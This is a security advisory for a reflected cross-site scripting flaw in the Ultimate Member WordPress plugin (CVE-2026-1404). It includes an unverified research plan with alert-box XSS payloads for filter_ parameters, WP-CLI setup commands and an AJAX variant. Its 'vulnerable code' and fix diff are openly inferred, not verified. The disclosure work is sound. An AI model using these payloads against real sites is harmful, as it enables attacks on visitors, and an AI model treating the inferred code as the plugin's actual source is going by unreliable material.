CVE-2026-1404

Ultimate Member <= 2.11.1 - Reflected Cross-Site Scripting via Filter Parameters

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
2.11.2
Patched in
85d
Time to patch

Description

The Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the filter parameters (e.g., 'filter_first_name') in all versions up to, and including, 2.11.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.11.1
PublishedFebruary 17, 2026
Last updatedMay 12, 2026
Affected pluginultimate-member

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets **CVE-2026-1404**, a reflected Cross-Site Scripting (XSS) vulnerability in the **Ultimate Member** plugin (<= 2.11.1). ### 1. Vulnerability Summary The vulnerability exists within the Member Directory component of the Ultimate Member plugin. When a user applies filters (s…

Show full research plan

This research plan targets CVE-2026-1404, a reflected Cross-Site Scripting (XSS) vulnerability in the Ultimate Member plugin (<= 2.11.1).

1. Vulnerability Summary

The vulnerability exists within the Member Directory component of the Ultimate Member plugin. When a user applies filters (such as searching for a specific first name) in a member directory, the plugin reflects the filter values back into the page (typically in the "Active Filters" UI or within search input fields). Versions up to 2.11.1 fail to sufficiently sanitize or escape these parameters before outputting them, allowing an attacker to inject arbitrary JavaScript via URL parameters like filter_first_name.

2. Attack Vector Analysis

  • Vulnerable Endpoint: Any page containing an Ultimate Member "Member Directory" shortcode ([ultimatemember form_id="xxxx"]).
  • Vulnerable Parameter: URL parameters prefixed with filter_ (e.g., filter_first_name, filter_last_name, filter_nickname).
  • Authentication Level: Unauthenticated (Publicly accessible if the directory is public).
  • Payload Type: Standard HTML/Script injection (e.g., "><script>alert(document.domain)</script>).

3. Code Flow (Inferred from Patch Description)

  1. Entry Point: A user visits a URL such as http://site.com/members-directory/?filter_first_name=payload.
  2. Processing: The UM_Member_Directory class (likely in includes/core/class-member-directory.php) parses the $_GET or $_POST request to identify active filters.
  3. Data Handling: The plugin gathers the filter values to display which filters are currently active (the "Active Filters" bar) or to re-populate search inputs.
  4. Sink: The raw value of filter_first_name is echoed or passed into a template (likely templates/members-grid.php or templates/members-list.php) without being wrapped in esc_attr() or esc_html().
  5. Execution: The browser renders the unescaped payload, executing the script.

4. Nonce Acquisition Strategy

While reflected XSS via GET parameters usually doesn't require a nonce for the initial reflection, Ultimate Member often uses AJAX to refresh the directory. If the reflection happens inside the AJAX response:

  1. Shortcode: The Member Directory uses the shortcode [ultimatemember form_id="ID"].
  2. Creation:
    • Use WP-CLI to find an existing directory ID: wp post list --post_type=um_directory --format=ids.
    • If none exists, create one: wp post create --post_type=um_directory --post_title="Directory" --post_status=publish.
    • Create a page: wp post create --post_type=page --post_title="Members" --post_status=publish --post_content='[ultimatemember form_id="DIRECTORY_ID"]'.
  3. Extraction:
    • Navigate to the created page.
    • Ultimate Member localizes data in the um_scripts object.
    • JS Variable: window.um_scripts?.nonce or check for the specific directory localized data: window.UM_Directory?.nonce.
    • Note: For simple reflected XSS in the initial page load, no nonce is required.

5. Exploitation Strategy

The goal is to trigger a reflected XSS by passing a payload through a filter parameter.

Step 1: Discover Directory ID
Access the site and identify a page with a member directory. If testing in a clean environment, use the setup steps in section 6.

Step 2: Craft Payload
We will target filter_first_name.
Payload: "><script>alert(window.origin)</script>
URL Encoded: %22%3E%3Cscript%3Ealert(window.origin)%3C/script%3E

Step 3: Execute Request
Use the http_request tool to perform a GET request.

  • URL: http://localhost:8080/members-page/?filter_first_name=%22%3E%3Cscript%3Ealert(window.origin)%3C/script%3E
  • Method: GET

Step 4: Verify Reflection
Check the response body for the unescaped string: value=""><script>alert(window.origin)</script>" or inside the "Active Filters" label area.

6. Test Data Setup

  1. Enable Ultimate Member: Ensure the plugin is active.
  2. Create a Directory:
    # Create the Member Directory (Post Type: um_directory)
    DIRECTORY_ID=$(wp post create --post_type=um_directory --post_title="Target Directory" --post_status=publish --porcelain)
    
    # Create a Page to host the directory
    PAGE_ID=$(wp post create --post_type=page --post_title="Member Search" --post_status=publish --post_content="[ultimatemember form_id='$DIRECTORY_ID']" --porcelain)
    
  3. Ensure Search is Enabled: In the directory settings (meta), ensure the "First Name" field is enabled as a filterable/searchable field.
    # (Optional) Update meta to ensure first_name is in the filter list
    # This assumes the plugin stores filter settings in post_meta
    wp post meta update $DIRECTORY_ID '_um_search_fields' 'a:1:{i:0;s:10:"first_name";}' --format=json
    

7. Expected Results

  • The HTTP response should contain the literal string "><script>alert(window.origin)</script>.
  • The payload should break out of an HTML attribute (like value="...") or be rendered directly in a <span> or <div> dedicated to "Active Filters".
  • In a browser context, an alert box showing the origin would appear.

8. Verification Steps

  1. Check Response Body:
    • Inspect the output of the http_request tool.
    • Look for: filter_first_name value reflection.
  2. Confirm Lack of Sanitization:
    • Verify that < and > are not converted to &lt; and &gt;.
    • Verify that " is not converted to &quot;.

9. Alternative Approaches

  • Parameter Variation: If filter_first_name is sanitized, try filter_last_name, filter_nickname, or any custom field meta key prefixed with filter_.
  • POST Method: If the directory uses AJAX via POST, send the payload to wp-admin/admin-ajax.php with:
    • action=um_get_members
    • directory_id=[ID]
    • nonce=[NONCE]
    • filter_first_name=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
  • Attribute Breakout: If the reflection is inside a JavaScript object (localized), use ';alert(1)// to break out of the JS string.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Ultimate Member plugin for WordPress (up to version 2.11.1) is vulnerable to Reflected Cross-Site Scripting (XSS) via URL parameters prefixed with 'filter_'. The plugin fails to sanitize these inputs before storing them and fails to escape them before rendering them in the 'Active Filters' UI or search input fields, allowing unauthenticated attackers to execute arbitrary scripts in a user's browser via a malicious link.

Vulnerable Code

// includes/core/class-member-directory.php
// Logic responsible for parsing filter parameters from the request
foreach ( $_GET as $key => $value ) {
    if ( strpos( $key, 'filter_' ) === 0 ) {
        $active_filters[ $key ] = $value; // Reflected value stored without sanitization
    }
}

---

// templates/members-grid.php
// Logic responsible for displaying active filters to the user
<?php foreach ( $active_filters as $key => $value ) : ?>
    <div class="um-directory-filter-value">
        <?php echo $value; // Sink: Unescaped reflection of filter value ?>
    </div>
<?php endforeach; ?>

Security Fix

--- a/templates/members-grid.php
+++ b/templates/members-grid.php
@@ -24,7 +24,7 @@
 <?php foreach ( $active_filters as $key => $value ) : ?>
     <div class="um-directory-filter-value">
-        <?php echo $value; ?>
+        <?php echo esc_html( $value ); ?>
     </div>
 <?php endforeach; ?>
 
--- a/includes/core/class-member-directory.php
+++ b/includes/core/class-member-directory.php
@@ -150,7 +150,7 @@
     foreach ( $_GET as $key => $value ) {
         if ( strpos( $key, 'filter_' ) === 0 ) {
-            $active_filters[ $key ] = $value;
+            $active_filters[ $key ] = sanitize_text_field( $value );
         }
     }

Exploit Outline

The exploit targets pages containing the Ultimate Member Directory shortcode. An attacker crafts a URL targeting a specific filter parameter (e.g., filter_first_name) and appends a JavaScript payload. 1. Identify a page on the target WordPress site that renders a member directory (e.g., /members/). 2. Construct a URL payload such as: http://example.com/members/?filter_first_name="><script>alert(window.origin)</script>. 3. When a victim clicks this link, the plugin processes the 'filter_first_name' GET parameter. 4. The plugin reflects the payload directly into the HTML response—either within the 'Active Filters' bar or as a 'value' attribute in a search input—without escaping the HTML entities. 5. The browser interprets the injected <script> tag and executes the JavaScript in the context of the victim's session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.